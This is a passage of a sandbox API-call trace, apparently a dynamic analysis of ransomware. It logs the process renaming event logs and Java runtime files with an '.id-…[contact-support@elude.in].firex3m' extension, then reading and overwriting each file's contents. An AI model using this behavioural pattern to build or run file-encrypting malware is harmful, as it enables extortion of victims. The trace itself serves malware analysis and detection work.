[0102.805] Sleep (dwMilliseconds=0x1) [0102.819] Sleep (dwMilliseconds=0x1) [0102.883] Sleep (dwMilliseconds=0x1) [0102.901] Sleep (dwMilliseconds=0x1) [0102.927] Sleep (dwMilliseconds=0x1) [0102.944] Sleep (dwMilliseconds=0x1) [0102.957] Sleep (dwMilliseconds=0x1) [0102.975] Sleep (dwMilliseconds=0x1) [0102.989] Sleep (dwMilliseconds=0x1) [0103.006] Sleep (dwMilliseconds=0x1) [0103.020] Sleep (dwMilliseconds=0x1) [0103.088] Sleep (dwMilliseconds=0x1) [0103.098] Sleep (dwMilliseconds=0x1) [0103.115] Sleep (dwMilliseconds=0x1) [0103.129] Sleep (dwMilliseconds=0x1) [0103.153] Sleep (dwMilliseconds=0x1) [0103.164] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Boot\\tr-TR\\memtest.exe.mui", len=0x1d | out: pbstr=0x46fff7c*="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 1 [0103.164] GetProcessHeap () returned 0x630000 [0103.164] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0xc) returned 0x6b1430 [0103.164] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.169] Sleep (dwMilliseconds=0x1) [0103.181] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Boot\\zh-CN\\memtest.exe.mui", len=0x1d | out: pbstr=0x46fff7c*="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 1 [0103.181] GetProcessHeap () returned 0x630000 [0103.181] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0xc) returned 0x6b1220 [0103.181] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.181] Sleep (dwMilliseconds=0x1) [0103.193] Sleep (dwMilliseconds=0x1) [0103.208] Sleep (dwMilliseconds=0x1) [0103.225] Sleep (dwMilliseconds=0x1) [0103.238] Sleep (dwMilliseconds=0x1) [0103.265] Sleep (dwMilliseconds=0x1) [0103.270] Sleep (dwMilliseconds=0x1) [0103.294] Sleep (dwMilliseconds=0x1) [0103.302] Sleep (dwMilliseconds=0x1) [0103.322] Sleep (dwMilliseconds=0x1) [0103.365] Sleep (dwMilliseconds=0x1) [0103.403] Sleep (dwMilliseconds=0x1) [0103.433] Sleep (dwMilliseconds=0x1) [0103.449] Sleep (dwMilliseconds=0x1) [0103.466] Sleep (dwMilliseconds=0x1) [0103.497] Sleep (dwMilliseconds=0x1) [0103.511] Sleep (dwMilliseconds=0x1) [0103.528] Sleep (dwMilliseconds=0x1) [0103.542] Sleep (dwMilliseconds=0x1) [0103.561] Sleep (dwMilliseconds=0x1) [0103.589] Sleep (dwMilliseconds=0x1) [0103.620] Sleep (dwMilliseconds=0x1) [0103.835] Sleep (dwMilliseconds=0x1) [0103.839] Sleep (dwMilliseconds=0x1) [0103.854] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", len=0x38 | out: pbstr=0x46fff7c*="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 1 [0103.855] GetProcessHeap () returned 0x630000 [0103.855] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0338, Size=0x10) returned 0x6b1208 [0103.855] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0103.857] CloseHandle (hObject=0x684) returned 1 [0103.857] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.858] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.858] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xc800a26a, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIBAD1~1.FIR")) returned 0x6d5380 [0103.858] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0103.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0103.859] GetProcessHeap () returned 0x630000 [0103.859] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x716dc98 [0103.859] GetProcessHeap () returned 0x630000 [0103.859] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71790c8 [0103.859] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.859] ReadFile (in: hFile=0x684, lpBuffer=0x716dc98, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x716dc98*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.235] GetProcessHeap () returned 0x630000 [0112.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0112.235] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.235] WriteFile (in: hFile=0x684, lpBuffer=0x71790c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71790c8*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.236] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.236] WriteFile (in: hFile=0x684, lpBuffer=0x71844c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71844c7*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.236] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.236] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.236] CloseHandle (hObject=0x684) returned 1 [0112.239] GetProcessHeap () returned 0x630000 [0112.239] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71790c8 | out: hHeap=0x630000) returned 1 [0112.239] GetProcessHeap () returned 0x630000 [0112.239] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x716dc98 | out: hHeap=0x630000) returned 1 [0112.239] GetProcessHeap () returned 0x630000 [0112.239] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0112.239] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.239] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8da2830, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xb407496, dwReserved1=0x716dc90, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIBAD1~1.FIR")) returned 0x6d5580 [0112.239] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0112.240] Sleep (dwMilliseconds=0x1) [0113.492] Sleep (dwMilliseconds=0x1) [0114.109] Sleep (dwMilliseconds=0x1) [0114.555] Sleep (dwMilliseconds=0x1) [0114.919] Sleep (dwMilliseconds=0x1) [0115.212] Sleep (dwMilliseconds=0x1) [0115.504] Sleep (dwMilliseconds=0x1) [0115.905] Sleep (dwMilliseconds=0x1) [0117.122] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", len=0x38 | out: pbstr=0x46fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 1 [0117.122] GetProcessHeap () returned 0x630000 [0117.122] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6428, Size=0x28) returned 0x699a68 [0117.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0117.126] CloseHandle (hObject=0x6a4) returned 1 [0117.126] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XUSAGE~1.FIR")) returned 0x6d4f40 [0117.132] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0117.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0117.132] GetProcessHeap () returned 0x630000 [0117.132] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5a1) returned 0x6868e0 [0117.132] GetProcessHeap () returned 0x630000 [0117.133] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5a1) returned 0x71be9f0 [0117.133] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.133] ReadFile (in: hFile=0x6a4, lpBuffer=0x6868e0, nNumberOfBytesToRead=0x580, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesRead=0x46fff0c*=0x580, lpOverlapped=0x0) returned 1 [0117.193] GetProcessHeap () returned 0x630000 [0117.193] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0117.194] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.194] WriteFile (in: hFile=0x6a4, lpBuffer=0x71be9f0*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71be9f0*, lpNumberOfBytesWritten=0x46fff0c*=0x580, lpOverlapped=0x0) returned 1 [0117.194] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.194] WriteFile (in: hFile=0x6a4, lpBuffer=0x71bef6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bef6f*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0117.194] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.194] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0117.194] CloseHandle (hObject=0x6a4) returned 1 [0117.195] GetProcessHeap () returned 0x630000 [0117.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71be9f0 | out: hHeap=0x630000) returned 1 [0117.195] GetProcessHeap () returned 0x630000 [0117.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0117.195] GetProcessHeap () returned 0x630000 [0117.195] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0117.195] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xbccbfee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5b3, dwReserved0=0xb407496, dwReserved1=0x6868d8, cFileName="Xusage.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XUSAGE~1.FIR")) returned 0x6d5200 [0117.195] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0117.196] Sleep (dwMilliseconds=0x1) [0117.561] Sleep (dwMilliseconds=0x1) [0117.657] Sleep (dwMilliseconds=0x1) [0117.677] Sleep (dwMilliseconds=0x1) [0117.688] Sleep (dwMilliseconds=0x1) [0117.701] Sleep (dwMilliseconds=0x1) [0117.720] Sleep (dwMilliseconds=0x1) [0118.717] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties", len=0x3b | out: pbstr=0x46fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 1 [0118.717] GetProcessHeap () returned 0x630000 [0118.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72d22e8, Size=0xa8) returned 0x64f898 [0118.718] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0118.767] CloseHandle (hObject=0x67c) returned 1 [0118.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0118.796] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FLAVOR~1.FIR")) returned 0x6d5480 [0118.796] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0118.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0118.796] GetProcessHeap () returned 0x630000 [0118.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf61) returned 0x727d80 [0118.796] GetProcessHeap () returned 0x630000 [0118.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf61) returned 0x7302f48 [0118.796] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.796] ReadFile (in: hFile=0x67c, lpBuffer=0x727d80, nNumberOfBytesToRead=0xf40, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x46fff0c*=0xf40, lpOverlapped=0x0) returned 1 [0118.812] GetProcessHeap () returned 0x630000 [0118.812] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0118.812] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.812] WriteFile (in: hFile=0x67c, lpBuffer=0x7302f48*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7302f48*, lpNumberOfBytesWritten=0x46fff0c*=0xf40, lpOverlapped=0x0) returned 1 [0118.812] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.812] WriteFile (in: hFile=0x67c, lpBuffer=0x7303e87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7303e87*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.812] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.812] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.812] CloseHandle (hObject=0x67c) returned 1 [0118.813] GetProcessHeap () returned 0x630000 [0118.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7302f48 | out: hHeap=0x630000) returned 1 [0118.814] GetProcessHeap () returned 0x630000 [0118.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0118.814] GetProcessHeap () returned 0x630000 [0118.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0118.895] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xcc4efca, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0xb407496, dwReserved1=0x727d78, cFileName="flavormap.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FLAVOR~1.FIR")) returned 0x6d52c0 [0118.896] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0118.896] Sleep (dwMilliseconds=0x1) [0118.909] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties", len=0x48 | out: pbstr=0x46fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 1 [0118.909] GetProcessHeap () returned 0x630000 [0118.909] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8730, Size=0xc0) returned 0x71ee330 [0118.909] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0118.911] CloseHandle (hObject=0x67c) returned 1 [0118.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0118.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HIJRAH~1.FIR")) returned 0x6d5240 [0118.912] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0118.912] CreateFileW (lpFileName="C:\\Program 